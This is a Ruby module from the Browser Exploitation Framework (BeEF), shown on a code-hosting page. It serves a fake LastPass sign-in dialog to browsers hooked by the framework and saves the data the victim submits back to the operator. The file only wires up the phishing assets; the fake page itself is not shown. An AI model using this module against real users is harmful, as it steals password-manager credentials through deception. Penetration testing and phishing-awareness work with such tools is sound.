Path: blob/master/modules/social_engineering/fake_lastpass/module.rb
1873 views
#1# Copyright (c) 2006-2026 Wade Alcorn - [email protected]2# Browser Exploitation Framework (BeEF) - https://beefproject.com3# See the file 'doc/COPYING' for copying permission4#5class Fake_lastpass < BeEF::Core::Command6def pre_send7BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind('/core/main/client/lib/jquery-1.12.4.min.js', '/lp/jquery', 'js')8BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind('/modules/social_engineering/fake_lastpass/index-new.html', '/lp/index', 'html')9BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind('/modules/social_engineering/fake_lastpass/lp_signin_logo.png', '/lp/lp_signin_logo', 'png')10BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind('/modules/social_engineering/fake_lastpass/cancel.png', '/lp/cancel', 'png')11BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind('/modules/social_engineering/fake_lastpass/keyboard.png', '/lp/keyboard', 'png')12end1314#15# This method is being called when a zombie sends some16# data back to the framework.17#18def post_execute19if @datastore['meta'] == 'KILLFRAME'20BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.unbind('/lp/index.html')21BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.unbind('/lp/jquery.js')22BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.unbind('/lp/lp_signin_logo.png')23BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.unbind('/lp/cancel.png')24BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.unbind('/lp/keyboard.png')25end26content = {}27content['result'] = @datastore['result']28save content29end30end313233